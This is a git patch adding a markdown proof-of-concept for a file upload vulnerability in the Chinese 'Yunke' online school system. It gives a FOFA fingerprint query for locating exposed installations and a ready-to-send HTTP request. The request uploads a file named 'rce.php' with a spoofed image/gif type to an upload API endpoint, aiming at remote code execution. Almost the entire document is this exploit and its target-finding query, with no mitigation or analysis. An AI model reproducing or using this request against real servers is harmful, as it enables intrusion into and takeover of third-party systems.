From 6434ac17d856ddd1bcf16c1ab14899e1b50b7b31 Mon Sep 17 00:00:00 2001
From: Rain <73454853+sqsec@users.noreply.github.com>
Date: Tue, 20 Oct 2026 17:19:17 +0800
Subject: [PATCH] =?UTF-8?q?Create=20=E4=BA=91=E8=AF=BE=E7=BD=91=E6=A0=A1?=
=?UTF-8?q?=E7=B3=BB=E7=BB=9F=E6=96=87=E4=BB=B6=E4=B8=8A=E4=BC=A0=E6=BC=8F?=
=?UTF-8?q?=E6=B4=9E.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
---
.../云课网校系统文件上传漏洞.md | 30 +++++++++++++++++++
1 file changed, 30 insertions(+)
create mode 100644 wpoc/云课网校系统/云课网校系统文件上传漏洞.md
diff --git a/wpoc/云课网校系统/云课网校系统文件上传漏洞.md b/wpoc/云课网校系统/云课网校系统文件上传漏洞.md
new file mode 100644
index 0000000..263904c
--- /dev/null
+++ b/wpoc/云课网校系统/云课网校系统文件上传漏洞.md
@@ -0,0 +1,30 @@
+## 云课网校系统文件上传漏洞
+
+
+## fofa
+
+```
+body="/static/libs/common/jquery.stickyNavbar.min.js"
+```
+
+## poc
+
+```
+POST /api/uploader/localupload HTTP/1.1
+Host:
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
+Accept-Encoding: gzip, deflate
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj
+Accept: */*
+Connection: close
+
+------WebKitFormBoundaryFfJZ4PlAZBixjELj
+Content-Disposition: form-data; name="file"; filename="rce.php"
+Content-Type: image/gif
+
+
+------WebKitFormBoundaryFfJZ4PlAZBixjELj--
+```
+
+
+